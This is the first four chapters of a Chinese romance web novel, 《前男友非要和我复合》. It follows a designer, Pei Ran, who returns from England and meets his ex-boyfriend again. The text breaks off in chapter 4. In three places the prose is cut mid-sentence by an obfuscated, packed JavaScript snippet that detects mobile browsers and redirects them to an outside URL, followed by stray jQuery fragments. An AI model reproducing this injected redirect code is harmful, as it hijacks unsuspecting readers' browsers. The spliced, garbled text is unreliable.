《前男友非要和我复合》
1. 第 1 章
夜幕低垂,天空中不知何时飘起雪花,街上行人纷纷撑起雨伞,裴然笔挺地站在街边咖啡馆前,一袭黑色大衣衬得人忧郁深沉。
裴然双手拢在嘴边呼了一口热气,搓了搓手,感受着摩擦产生的微热,感受到寒风中传来的刺骨的冷。
南城已经七年没有下过雪了,偏偏裴然回国这天下起雪,细密如鹅毛的雪花下得不算小。
没带雨伞,发丝和肩头很快便见了白。
手机铃响,裴然静静地听了一会儿来电铃声,才缓缓接听。
“然哥,坐上车了吗?”对面语气关切。
裴然抬眼看了看街道,过往车辆来去匆匆,没有一辆车有停车的迹象。
“还没有。”裴然低着头,脚尖踢着地上薄薄地一层雪,似乎想把它裹成一团。
顾辰看了眼手机,估摸着时间:“下雪路上堵车,司机估计绕了远路,你再等等。”
话音刚落,一辆低调奢华的黑车便停在裴然身前,裴然没多想,待车停稳后,拉开车门坐了上去,同时低声道:“上车了。”
顾辰点头,嗯了一声后啰嗦了几句,“嫌闷的话让司机把空气净化打开,别开窗户,风怪冷的。”
“嗯,知道了。”
“你先回去,家里暂时走不开,我哥不知道去哪里了,爸妈就逮着我一个人唠叨。”顾辰估计是借口上厕所躲起来打的电话,声音悄悄的。
裴然盯着窗外,呼吸间的热气瞬间让车窗起雾,“他们也很想你,有空多陪陪他们吧。”
顾辰冲了冲水,应道:“我知道的,到了给我打电话吧,我先挂了。”
裴然正欲再说什么,车子猛地急刹,惯性带着他撞向前面,发出沉闷的一声响。
顾辰也听见声音,急忙问:“怎么了?”
裴然揉了揉发红的额头,回道:“没事,急刹了一下。”
顾辰放心下来,挂断电话。
车子行进又恢复平稳,裴然不经意抬起头,和司机的视线撞上,竟生出一丝诡异的熟悉感。
他们是不是在哪里见过?
裴然愣神似的盯着他看,一时间都忘记了移开视线。
仿佛是感受到身后炽热的视线,司机轻咳一声,裴然才惊觉自己的失态,急忙假装玩手机。
裴然把自己窝在角落,脑袋靠在窗子上,冰冰凉凉的触感透过发丝传递到头顶,随后再换另一边。
车内暖气开的很足,弥散着淡淡的木质香调,萦绕在鼻尖,让人感到很安心。
裴然从寒气中缓过神来,不动声色地打量着眼前的司机,不怪裴然好奇,实在是这浑身的气质太凌冽,全然不像司机。
即使带着口罩,也挡不住他深邃的眉眼。
方才视线在后视镜中交汇的那一刻,裴然敏锐的感觉到对方皱了眉,额前的碎发挡住部分晦暗不清的眼眸。
视线落到他搭在方向盘上那只骨节分明的手上时,裴然微微挑眉,这双手生的太好看了。
青筋蜿蜒着没入深色大衣袖口,或许是天气冷的缘故,皮肤有一种病态的白,关节处泛着红润。
裴然大着胆子盯着看,拐弯时,他没注意,脑袋轻轻在窗上磕了一下,发出“砰”的一声,在封闭的车内很清晰,他耳根通红,随后不自然地移开视线。
裴然自我反省,倒不是他手控犯花痴,回国第一天就被一双手勾的丢了魂。
只是这么多年学艺术留下的职业病,对美的事物有一种天然的趋向性,这双手比起他在展馆见过的艺术品,竟也毫不逊色。
车开得很慢,还绕了点远路,最近下雪路滑,也在情理之中,他并不赶时间,便没有催促。
车驶过跨江大桥,周围景色熟悉起来,很快达到了目的地,裴然低声道谢,留恋地看了看那双手,这才下了车。
几乎是开门的一瞬间,冷风混着雪花往脖子里灌,裴然骤然被冷的一哆嗦,伸手将大衣领口裹紧了,抬脚欲走。
身后本应该离开的车辆还停留在原地,副驾驶的车窗降下,驾驶座的人隐在黑暗中,看不清面容。
中心商务区人口密集,身边人来人往声音嘈杂,只是车窗降下的微弱声响,并不引人注意。
但裴然却清晰地捕捉到了,应声回头,撞进那深渊一般的眸。
一瞬间,呼啸的风声和嘈杂的人声在此刻归于平静,仿佛天地间只有他们二人。
裴然胸腔传来剧烈地心跳,吵得耳膜发疼。
呼吸间产生的热气在冷空气中凝结成雾,模糊了视线,但那道目光却炙热地让人无法忽略。
“请等一下——”裴然几乎呢喃的话淹没在嘈杂人声中。
分明只有几秒,裴然却觉得过去了一辈子。
车窗又被重新摇上去,车辆丝滑起步,不出片刻便拐进弯道,消失在茫茫车海。
裴然盯着离开的方向愣神,半晌,重重呼出一口气,疲惫地揉了揉眼角,勾唇苦笑。
最终他抿了抿唇,只当是自己累的精神有些敏感,转身离开。
公寓里没开灯,窗外的月光照射进来,裴然盘着腿坐在地毯上,地上歪七扭八躺着几个空酒瓶。
裴然手里还握着一罐,一口接一口不停地往嘴里灌。
啤酒度数真低,想要喝醉好难,裴然打了一个嗝,面无表情地想着。
实际上,近年来他已经很少不节制的饮酒,毕竟宿醉后迟钝的大脑太误事。
但不知道为什么,今夜,他突然好想喝醉,醉到失去自我意识,让酒精麻痹脑神经,忘却凡尘的苦恼。
此时,远在大洋彼岸的Leo打开视频电话,裴然拿来笔记本电脑接通。
“早上好,然,回国还顺利吗?”Leo混血感英俊帅气的脸庞顿时充满整个屏幕,眼神紧紧盯着他手里的酒,嚷嚷起来,“然,你怎么又喝闷酒!”
“不喝闷酒,那干杯!”裴然举起酒罐碰了碰摄像头,将剩下的酒一饮而尽,“一切顺利,不过,国内现在已经是夜晚了。”
Leo更凑近镜头,恍然大悟:“对哦,天空都黑了。”说着,将脑袋移开,给他展示自己身后的晨光。
裴然透过窗户,看见窗外的景色,天光大亮,“今天是个好天气。”
Leo正在做早饭,于是把手机举着到处走,终于找到一个合适的位置,“然,你还会回英国吗?应该不回来了吧,毕竟英国的饭太难吃了!比如说我将要吃的这一份三明治,简直没有比它更糟糕的味道了!”
裴然看着Leo把番茄酱抹到硬得邦邦响的面包上,随后恶狠狠地咬住,再喝一口牛奶,满脸的愤恨。
“当然会,等国内稳定下来之后,我就回来看你。”裴然说着,起身把灯打开。
Leo瞪大双眼,声音都放大了几分:“那都什么时候了?”
裴然:“年后吧,我总要带着这批实习生把这个季度过完。”
“不行!”Leo三两下解决完面包,毫不在意地在自己的衣服上擦了擦手,举着手机满屋跑,应该是在找待会儿上课要用的专业书,“圣诞节我来找你,一个人过节真没意思!”
裴然被他兴奋的情绪感染,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057458|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那我一定准备一个很大很华丽的圣诞树迎接你。”
Leo很兴奋,已经开始幻想那一颗圣诞树,随后又想到自己过完节又要回来上课,心中又是一阵失落,“然,你为什么当初一定要回国啊,英国的工作室发展的很好,你们突然走掉,我一个人不适应。”
裴然宽慰:“好啦,只是回国了,又不是看不到了,不用这么忧虑。”
Leo已经把书包收拾好了,手里拿着一块巧克力,瞥见桌子上散落的画笔,想到什么,突然凑近,神秘兮兮地说:“然,你还记得临走前,你交给学校的那幅画吗?”
裴然点头,布莱顿艺术大学在艺术节组织了一场校园义卖,向全校师生募集艺术作品,裴然恰逢离别之际,于是也凑热闹,捐赠了一副画。
Leo已经出门,骑在自行车上,掠起一阵风,语气惊叹:“前几日,艺术节开始,有一位神秘买家花费5200英镑买下了这部作品!具体情况我不清楚,只知道是一位华人,年龄不大,应该也是留学生,不过不是我们学校的。”
这么多?饶是裴然也惊讶了一瞬,只是一个普通大学生的作品,更何况画技还略显生涩。
裴然欲言又止,不确定地问:“确定不是买错了?”
“怎么可能!”leo咋咋呼呼,说话间差点和路人撞上,“我听艺术节的志愿者说,买家在画前站了很久,最终才决定买下,一定是你的作品打动了他。”
这则消息一时间轰动了校园,大家都很好奇背后的买家是谁,校园墙上讨论度居高不下,大家猜来猜去,都没有一个准确的定论。
裴然将信将疑,他自己的油画水平并不高,只是闲暇之余的消遣罢了,他想不到什么样的人会花高价买下这幅画作。
“不会是你们凑钱买下,打算给我惊喜吧。”裴然笑了笑,还是有些不可置信。
他捐赠之后就没关注过画作的走向,没想到会被人以这样的价格买下。
“没想到,这都被你发现了。”leo故作深沉,随即大笑,“骗你的啦,如果真是就好了。”
Leo已经骑到教学楼下,看时间已经快迟到了,火急火燎地往楼上跑,慌乱间掐断了视频通话。
裴然轻笑,“毛毛躁躁的。”
夜已深了,裴然身上一股酒气,把桌子上的酒瓶收拾好丢下楼,睡前洗了个澡。
浴室里水汽氤氲,裴然洗掉一身的酒气,任由热水多冲了一会儿,脑海里冒出一个清冷高俊的背影,站定在画作前,周围人来人忙,人声嘈杂,他却岿然不动。
洗完澡后,裴然擦了擦头发,神思游离,反应过来的时候,已经拿着画纸和画笔开始作画了。
寂静的夜里,只剩下铅笔在纸上划动的声音,片刻后,脑海里的画面便跃然纸上。
裴然盯着画失神发呆,脑海里总有一种冲动,烧的他理智全无,太阳穴都发抖。
画里的人似乎动了,他缓缓转身,但仍旧看不清面容,裴然揉了揉眼睛,眼睛死死盯着,很努力想清楚是谁。
终于,裴然看清了他的脸,少年弯着一双清冷的桃花眼,右眼下那颗痣泛着光,薄唇一张一合,似乎在跟他说什么。
他居然把背影幻想成了当初他不告而别,最终分手的前男友顾临川的脸!
一瞬间,裴然倏地清醒了,抬手猛地打了自己一巴掌,力度没有收敛,脸颊瞬间泛红。
裴然面无表情,掌心却快要掐破,抓过刚才画好的画,一把撕碎扔到地上,偏过头不再看。
裴然低低地骂自己:“你也配。”
2. 第 2 章
裴然出国七年,当年在国内那批朋友几乎都失去了联系,只有零星几个从顾辰那边得知了他回国的消息,吵着闹着要出来聚一下。
裴然婉拒几次,再找不到理由,只能答应邀请。
酒吧名字叫“blue”,整体风格幽蓝深邃像在海底,驻唱歌手嗓音灵动,拿着把吉他自弹自唱。
裴然推开包间门,攀谈着地几人都朝他看过来。
一眼望去,记忆里的面孔都已褪去了青涩,熟悉又陌生,看见裴然纷纷端着酒杯上前,闹着要罚酒。
裴然来之不拒,还没开始就已经几杯烈酒下肚,他身姿笔挺,丝毫不见醉意,几人竖起大拇指,调侃他:“裴总好酒量!”
裴然坐在角落,大多时间都默然,倾听大家回忆往昔,提到和自己相关的便轻笑一声接上话茬。
席间,一人出去接了电话,回来时颇为甜蜜又无奈地同大家解释:“爱人查岗,不好意思。”
不知道是谁笑着骂了一句:“不准秀恩爱!”
待他重新坐回来后,话题自然而然被引到感情上。
周旭言环视了一圈,警惕地询问:“咱们哥几个,还都是单身狗吧?”生怕有人背叛了革命友谊。
杨晋痛心疾首:“周兄,你讲话太伤人!”
滑稽的模样把身旁的裴然逗乐,没忍住笑出声。
杨晋瞬间止住笑,侧头地看着他,欲言又止,搓搓手,还是问了:“然哥你是单身吧?”
要说这里面,谁最不可能保持单身的,当属裴然,毕竟长了一张面若桃花俊美无边的脸,读书时候不知道收了多少情书。
裴然忍着笑,“嗯,单身。”
杨晋得到答案又忍不住想,裴然身边的人都眼瞎么?转瞬又想,也许是裴然专心于事业,无心恋爱。
他俩在这边说悄悄话,再加入话题时,几人已经聊起上学时期最受欢迎的几位校花。
周旭言不知道从哪听来的八卦消息,神秘兮兮地讲:“咱班班花许清妙你们还记得吗?前段时间我偶然撞见她了,当时她在商场里选首饰,身旁还跟着一个人,你们绝对想不到是谁!”
众人最烦关键时刻卖关子,一窝蜂拥上去催促他。
“快说快说,是谁啊?”
“快点!”
周旭言吊足胃口,满意地点点头,装腔作势地咳几下:“咱学校大校草顾临川!想不到吧!”
全场骤然寂静,所有人视线不由自主地移向裴然,默契地保持沉默。
这个名字犹如一枚深海炸弹,在裴然耳边骤然爆炸,只感觉耳膜都被撕破,听不清外界的声音,裴然抬眼,众人都盯着他看。
裴然无所谓地笑笑,问大家:“都看我干什么?”
杨晋恶狠狠瞪了周旭言一眼,率先打圆场,举着酒杯晃了一圈一口闷掉,“哎呀,喝酒喝酒,别看了,再说了,咱然哥已经跟顾临川分手了,然哥又不会吃回头草,你们这么警惕干什么。”
人群里有人和稀泥:“就是,青春期谈的恋爱,谁还当真啊。”
“我都忘记高中谈的对象叫什么了,她估计也把我忘了。”
周旭言自知失言,嗫嚅着嘴,半晌走到裴然面前,跟他道歉:“对不起,然哥。”
裴然置若罔闻,低着头不知道在想些什么,身旁的杨晋关切地推了推他,他才回过神来,意识到了自己的失态,“抱歉,你刚刚说什么?”
周旭言鼓起勇气,重复了一次,杨晋也在一旁说:“然哥,他也不是故意的,他脑子笨,没想那么多。”
周旭言点头如捣蒜,欲哭无泪,差点打算给裴然跪下。
裴然拍了拍他的肩,示意他没关系,“我跟他之间,没你们想象的那么恨海情天,少看点偶像剧。”
说完,转头同杨晋招呼一声,说里面太闷,出去透口气。
临走前,他听见周旭言紧张地问杨晋,然哥他不会真生我气吧,我也是没办法啊?
杨晋沉默着没说话,看着裴然的背影消失在门口,皱着眉说自己也不知道。
裴然闷得难受,捧起一捧冷水,粗暴地泼在脸上,几滴水珠泫然未滴,挂在睫毛上,裴然重重吐出一口浊气,胸口莫名的烦闷总算消解了一点。
他想起周旭言问的那句话,他生气吗?
他不觉得自己的情绪是愤怒,但同时,他也不明白这股郁结从何而来。
愧疚,心虚,难过还是单纯的占有欲作祟。
诚然如他所言,当年是他一走了之,兀自切断了所有的联系。
没有充满眼泪的离别,也没有依依不舍地挽留,只有无法拨通的电话和永不回复的短信。
裴然站在洗手台前,冷漠地看着镜子中的自己,面色惨白,眼底进水变得通红,眉眼低低压着,很凶很阴沉,一脸不讨喜的模样。
他掏出手机给杨晋发消息打算提前离开,肩膀却猛地被人一撞,手机脱手砸在地上,发出碎裂的声响。
裴然本就不妙的心情更是雪上加霜,不耐地啧了一声,眉心皱的很紧,抬起头。
“走路不看路吗……”
尾音骤然被掐断,看清来人的一瞬间,裴然僵在原地,瞳孔微缩,连呼吸都忘记了。
男人还是记忆里的模样,剑眉星目,眼窝深邃衬得眼眸愈发沉亮,鼻梁高挺笔直,下颌线锋利利落。
“抱歉。”男人薄唇轻启,语气轻慢高傲,不见半分歉意,从钱夹里掏出一张卡,放到一边的洗手台上,“赔给你。”
裴然赶紧蹲下去把手机捡起来,手发着抖,哆哆嗦嗦半天才捡起来,屏幕已经摔坏了,不过还能正常打开。
裴然把卡递回去,舔了舔嘴唇,没了方才的凌厉,“不用了,是我不小心。”
顾临川洗着手,接了点洗手液,一根一根慢慢摩搓,洗得很干净,像是没有听见他的话。
洗完后,顾临川拿出手帕擦了擦,微微挺直腰板,眯着眼打量裴然。
裴然见他站在自己身前,呼吸紊乱,心跳也错了拍,张了张嘴,想跟他说些什么,“你……”过得还好吗?
谁料,顾临川皱着眉,往后撤了一步,看着他的眼神陌生又冷漠,毫不留情打断他的话,“借过一下。”
说完,绕过裴然径直离开,留下裴然独自一人在原地发愣。
洗手间人来人往,皆眼神怪异地盯着这位肃然不动的人,半晌,裴然缓过来,抬脚想追上去,猛地被脚下的东西绊倒。
是顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057459|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
临川的钱夹。
裴然小心翼翼地把它捡起来,擦了擦上面的水渍,拢在掌心,闷着脑袋又回了包间。
他们一群人在玩国王游戏,好不热闹。
杨晋见他回来,一副魂不守舍的模样,走着几步路都仿佛要昏过去的样子,赶紧上前拉着他,“哎哟哥,你这是跑哪去了?这么久不回来,我还以为你偷偷溜走了。”
“上了个厕所。”
“什么厕所这么久?该不会是躲……”
杨晋不说话了,他眼睁睁看着裴然走过去把几瓶高度伏特加酒全开了,拿起一瓶对瓶吹。
他根本拦不住,还没反应过来,裴然已经半瓶下肚。
杨晋赶紧拉着他的手,这样喝下去,今天晚上非得进医院不可!
裴然脾气上来了,非要喝,这一瓶不行就喝下一瓶,甚至神智清醒,“我心里有数,你不用担心我。”
你有数个屁!杨晋在心里骂道,拦不住他,偷偷把剩下几瓶藏起来,又拿了个杯子出来从他哪里倒,“行,知道你心里不痛快,哥们陪你喝。”
说着,趁他不注意,将杯子里酒全洒地上了,假装全喝完了,作势又要从裴然手里抢,“给兄弟满上!”
裴然见他也是一脸的悲痛,喝酒如喝水,不解:“你喝这么多酒干什么?”
杨晋一时语塞,自顾自地从他手里抢酒,“我就想喝,不行啊?”
到最后,演变成了杨晋一边豪迈地往地上撒酒,裴然在一边心疼的拍了拍他的背,醉醺醺劝他别再喝了。
周旭言在一旁看得目瞪口呆。
杨晋赶紧冲他使眼神,周旭言回过神来,上前拉开裴然,掏出手机问他:“然哥你醉了,我给你叫个代驾吧,你家在哪?”
裴然站得笔直,只是眼神不甚清明,才显出几分醉意。
裴然说了地点之后,两人一人抗一边,将裴然送到门口。
快走到门口时,杨晋眼尖,远远就瞧见酒吧门口停了一辆车,搂着裴然抬脚往那边走。
出了酒吧门,杨晋肩上突然一沉,疑惑着转头一看,周旭文松了手,摸着鼻尖十分不自然。
杨晋没看懂,颠了一下防止裴然掉下去,“你干什么?”
“我手酸,你先扶着一下。”周旭文解释。
杨晋觉得他今天晚上莫名其妙,又蠢又笨,也懒得管他,拉开车门把他送进去。
安顿好裴然,又敲了敲车窗,打算嘱咐一下司机开慢点,路上小心。
谁料,车窗降下,露出顾临川面无表情的俊脸,“有事?”
杨晋吓得一哆嗦,“顾顾顾……”
转头惊恐地看着趴在后座的裴然,赶紧扒着车门,打算把他带走:“不好意思,上错车了。”
车门纹丝不动,顾临川冷着一张脸,似笑非笑。
身后的周旭文上前拉着他往后拽,忙道:“没错没错,顾总您慢走。”
顾临川下颌微抬,关上车窗,扬长而去。
留下杨晋一人在原地风中凌乱。
“这是什么意思?给我个解释!”杨晋语瞪着双眼,简直不敢相信自己看到的一切。
周旭言不欲多说,扯着他往里面走,“天机不可泄露。”
3. 第 3 章
裴然喝醉了酒身子软趴趴的,但酒品尚佳,规规矩矩地趴在后座,胃里翻涌着难受,裴然小声的哼哼唧唧。
顾临川冷不丁开口:“别吐车里。”
裴然赶紧捂着嘴,摇头,表示自己不会吐的。
顾临川嘴角勾起一抹不可察觉的笑,转瞬即逝。
顾临川带他来了酒店,开了一间房后,在前台小姐姐八卦的目光中把他带进去。
顾临川冷声:“抬手。”
裴然乖乖地任由他折腾,把手抬起来。
顾临川给他把衣服脱了,又给他擦了脸。
期间裴然闹着要去洗澡,顾临川按住他,眼底是一片难以言喻的复杂:“还想让我给你洗澡?”
许是顾临川声音沉,裴然觉得自己被吼了,不敢再闹,低着眉,眼睫毛扑朔着像两只蝴蝶。
收拾好后,顾临川将他丢到床上,准备离开。
裴然倒在床上,呼吸绵长,倒也没有睡,茫茫然睁着眼看着前面。
顾临川把外套搭在臂弯,倚靠在门框处,好整以暇地盯着他。
裴然突然抓着外套,翻翻找找,从兜里拿出一个钱夹,伸手抚了抚,神情变得有些哀伤。
顾临川脸色骤变,太阳穴突突直跳,冷哼一声,转身离开。
天光乍亮,晨光透过浅色纱窗洒进房间,落在裴然眼上。
裴然宿醉醒来,脑袋又昏又沉,身上一股酒气,裴然扶额,揉了揉,坐起身。
身上也像是被人揍了一顿,酸痛难忍,从头到脚,没有哪一处是舒服的。
裴然懊恼,深感醉酒误事,环顾四周,才发现自己不在家里。
想起昨晚是被杨晋扶出来的,又看了看周围,感慨杨晋的贴心。
眼见着时间不多,裴然赶紧起来,起身去浴室里洗澡,总算把周身不适的酒气洗掉。
裴然紧赶慢赶,总算按时到了工作室,裴然微微喘气,一身的寒气,等电梯的间隙理了理凌乱的头发。
工作室在裴然大学时期便初具雏形,和几位志同道合的朋友创立了这个服装设计品牌,没借着顾家的势力,起步发展全凭裴然几人费心,没想到一路发展至今竟还有几分像模像样。
裴然穿过忙碌的人群,和大家一一打过招呼,便回了办公室。
办公室是按照裴然的喜好布置的,办公桌上放着一盆小的发财树,裴然从前不信鬼神,出国后见过教堂里虔诚的信徒,此后桌上便多了一盆寓意财源广进的发财树。
倒也摆过财神爷,只是与办公室整体风格实在不搭,这才收起。
室内开着暖气,暖和起来后整个人才感觉到是真的活着,裴然将大衣脱下,做到电脑前开始处理工作。
庭婷抬手轻叩敞开的办公室门,得到许可后踩着高跟鞋走进办公室,将手中的文件递过去,熟练地在一旁的小沙发坐下。
“然哥,这个季度设计企划几位实习生都完成了,我粗略看了一下,挑了几份给你过目,宴小姐定制的礼服打版出来了,对方对面料不算满意,那边余哥让我来问问你的想法。”
裴然打开文件浏览,每一份都看仔细,给出自己的看法:“设计没有新意,色彩太死板了,完全按照设计主题来,没有自己的理解,设计会显得很呆,让他们下去了解一下主题背景,设计不用大改……”
庭婷勾唇笑出声,手里随意地玩着自己红色的大波浪长发:“然哥,你知不知道,现在那群大学生都很怕你?”
“什么?”
“说你眼光太高,就是神仙来也过不了你的眼。”庭婷把自己逗笑了,顺嘴安慰他,“咱是高标准高要求,严以待人。”
裴然不置可否,只是将不合格的选出来,分类整理好后递给庭婷,“服设以森林为主题,选料以环保绿色为主,可以从天然纤维的混合制品方面入手……”
庭婷认真听着,记在心里,姿态却慵懒放松,伸手在零食盘里找出话梅糖,撕开糖纸后塞进嘴里,顺便把另一个柠檬糖以完美的抛物线扔到裴然手边。
裴然聊起工作口若悬河,神情严肃,衬衫扣子一丝不苟地系着,办公室的暖光灯均匀地洒在头顶和肩膀,给人镀上一层神圣的光。
其实庭婷刚刚有句话说的不算准确,工作室新来的实习生中,惧怕裴然的固然不少,但还是有那么多人前赴后继地进入这所名不见经传的工作室。
归根结底还是这张脸太权威。
哪怕是审美不同的海外国家,也对这张脸没有抵抗力,初到英国的那一年,裴然身边没人,不知道拒绝过多少男男女女。
裴然拒绝的干脆利落,但也温柔礼貌,让人无法生出怨气。
盯着看了半晌,庭婷才收回目光,轻叹一声,在心底怒斥女娲的不公。
听到叹息声,裴然还当她是累了,便将剩下的的工作简明扼要地阐述,并贴心地为她们延长了截止时间。
延长的几个小时聊胜于无,庭婷根本没在意,嘎嘣一声将话梅糖咬碎,酸得人皱眉,起身接过文件准备离开。
“哦对了。”庭婷刚走出去,想到这件事,身子微微后仰,只露出肩膀和半个脑袋,“顾辰在悦湾那边订了个度假村,问你什么时候给大家放个假,去那边度假。”
裴然思索一番,前段时间忙着工作室搬迁的事情,都很累,趁此机会给大伙放松一下正好。
心理思忖着工作量,思索后定了一个时间。
“收到!”庭婷高兴地跳起来,比了一个ok的手势,迫不及待地跑去给大家分享这个好消息,“我去通知大家!”
很快,办公室外便传来一阵欢呼声,大家围在一起叽叽喳喳地讨论。
裴然透过百叶窗看着,低头轻笑一声。
气氛被带动,长时间工作带来的疲惫感被短暂的扫清,盯着看了会儿,这才继续处理工作了。
办公室外,众人听到是顾辰安排的团建,心照不宣地对视一眼后,开启了八卦模式。
“你们说,这个小顾总对我们老大这么上心,能有戏吗?”章谈亦是裴然大学同学,算是一路看着顾辰和裴然过来的。
顾辰倒是一如既往地体贴热情,细致入微,但是这么多年也没见裴然表现出半分超过兄弟之外的情感。
Rechal捂着嘴巴笑,打断章谈亦的话:“当然有戏!你也不看看,咱老大身边还有哪个这么亲近的人,老大平时除了工作就是学习,也就只有小顾总能走进他的心里。”
Rechal是中英混血,读书时期曾热烈地追求过裴然,不过自从见识过顾辰和裴然的相处模式之后便停歇了心思,迅速转变了心思,认认真真撮合二人。
众人七嘴八舌地议论着,庭婷挤在人堆里,神情浮夸地附和着,但其实只有她明白,裴然并非木讷无趣的工作狂,小顾总也没能走进他的心。
而那个曾经走进裴然心底的人,被裴然亲手一点一寸的挖了出来。
视线越过众人,庭婷看向那间紧闭的办公室门,内心涌起一丝酸涩,不可抑制。
随后又被大家喧闹的欢笑打断,她扯出一抹笑,加入大家。
得到了团建休假的事情,大家也没了加班的心思,裴然干脆大手一挥让大家下班回去早点休息。
又是一阵欢呼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057460|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几个胆子大的蹦到办公桌上乱舞,成堆的资料瞬间洒落一地,不过没人理会,只是一味地狂欢。
场面像花果山水帘洞,乱糟糟闹哄哄的。
裴然怕他们不自在,悄然无声地退回办公室。
办公室隔音效果很好,门关上的一瞬间外面的喧闹都被隔绝。员工陆陆续续地下了班,偌大的工作室便只剩下他一人。
不知道过了多久,裴然从电脑桌前抬起头,电子时钟显示已经是凌晨,胃部因饥饿产生几分痛感,裴然才发觉自己忘记吃晚饭了。
这个时间点裴然也没有想吃东西的欲望,打算去茶水间倒一杯热水缓解胃部的不适。
刚推开办公室门,裴然便感受到一阵阻力,低头一看,地上躺着一个牛皮纸袋,模样很精致,上面还贴着一张粉色便签纸。
“吃饭。”
文字是打印上去的,裴然没办法通过笔记判断这是谁,粉色便签倒是庭婷平时喜欢用的。
牛皮纸袋里是一杯热牛奶和一份还冒着热气的海鲜粥。
裴然轻笑一声,感慨庭婷的贴心,将便签留下,仔细地拆开包装,拿回办公室。
热牛奶下肚瞬间胃部舒服好些,裴然有些惊喜地看着牛奶,竟然不是纯牛奶,而是甜牛奶。
入口的滋味少了几分腥味,多了几分香甜。
裴然心底升起几分疑虑,嫌弃纯牛奶腥这样小孩子气的行为,裴然从未表现出来过,至少庭婷不知道。
思绪纷然,裴然想了许久也想不出所以然,只当是巧合一场。
办公室里有小的会客区,再往里面走有一个小休息室,依旧是简约的黑白灰配色,一张单人床和一盏落地灯,样板间的风格衬得此刻有些孤寂。
没来由的,裴然回想起往事,又把钱夹拿出来愣神地看着,零星几点睡意也彻底消散。
裴然若有所思地望向窗外,单薄的身影淹没在昏黄的灯光中,眼底倒映着城市霓虹,格外透亮。
手机在此刻亮起,裴然循声望去,是一条短信。
陌生号码发来的一张照片。
照片里,裴然挺立在风雪中,发丝和围巾都被吹的有些凌乱,背景是他等车的街道,他对那家咖啡馆有印象。
裴然微微皱起眉,心底一沉,不明白对方的意图。
下一秒,对方又发来一条信息,只有简短的两个字。
睡觉。
裴然心底某根弦像是被骤然拨动,迅速起身,连鞋也来不及穿,跨步到落地窗前。
大厦窗外繁华,写字楼内灯火通明,楼下行人步履匆匆。往下望去,众人渺小如蝼蚁,车辆川流不息,陆续走过的人群也并不可疑。
裴然按了按眉心,失笑,最近真是压力太大了,怎么还当了真,被这种骚扰短信扰了心神。
裴然重新回到床上,把号码信息发给远在大洋彼岸的Leo,拜托他帮忙调查,随后将手机关机,不再理会,重新酝酿睡意。
许是那条短信有奇效,裴然重新躺上床时竟真的有了几丝困意,片刻便睡去了。
在他看不见的楼下,一辆黑色卡宴停在视线死角,后座的男人漫不经心地把玩着手里的手机,指节分明。
窗外的霓虹灯在他脸上投下明灭分明的光影,勾勒出高挺的鼻梁和紧抿的薄唇。
他微微垂着眼,目光落在大厦高层,眼眸深邃而平静。
半晌,看见大厦32层陷入黑暗,唇角几不可闻地勾起,像是很满意,而后又紧绷起来,轻咳一声。
“走吧。”
蛰伏在黑夜中的卡宴利落起步,隐入车流,仿佛从未出现。
4. 第 4 章
接下来几天,裴然带着几位实习生修改初稿,另一边忙着选材的事情,忙得昏天黑地。
他心里藏着事情,不想让自己有空闲的时间,只好闷着头发疯般的工作。
等忙完,裴然才让自己慢下来,喘了口气,庭婷进来递资料时扭捏着问他,明天几时去。
裴然一愣,反应过来看了眼时间,看她这么期待,轻笑一声:“明天早上。”
庭婷欢呼:“好耶。”
第二天清晨,天雾蒙蒙的,众人在楼下集合,顾辰贴心地派了车接送大家,自己则是开了一辆低调奢华的宾利来接裴然。
顾辰今日特意打扮了一下,从驾驶座上下来时引起一阵惊呼,rechal率先调侃:“辰!你今天真像一位白马王子!”
闻言,顾辰勾唇一笑,上前绅士地行了一个吻手礼,回应她直白热烈地夸赞,随后站在裴然身边,轻轻撞了一下他的肩膀。
求夸奖的意味不言而喻,顾辰若是一只小狗,此刻身后的尾巴已经摇的飞起了。
裴然看着眼前人,这几年顾辰越长越高,竟需要他微微仰头才能看清他的眉眼,顾辰恣意的少年气惹得裴然不自觉勾唇。
裴然眼底含着笑,“王子殿下,何时出发?”
“即刻出发!”
人群中不知道是谁欢呼一声,便吵吵闹闹地分组上了车。
顾辰替裴然拉开车门,另一只手搁在裴然头顶,担心车框撞到他,关车门前在他耳边低声说了句什么,随后两人对视一眼,唇角漾开一抹笑。
这一幕被rechal一行人撞见,立刻又激动的眼冒星星,趴在车窗上偷看,恨不得站在他们面前正大光明地看。
道路湿滑,前半段路,顾辰开车专注认真,每一个动作都可以直接作为驾校模板,只有在等红绿灯时才侧头同裴然讲话。
裴然看得想笑,顾辰在国外开车不讲章法,超速漂移都是家常便饭。
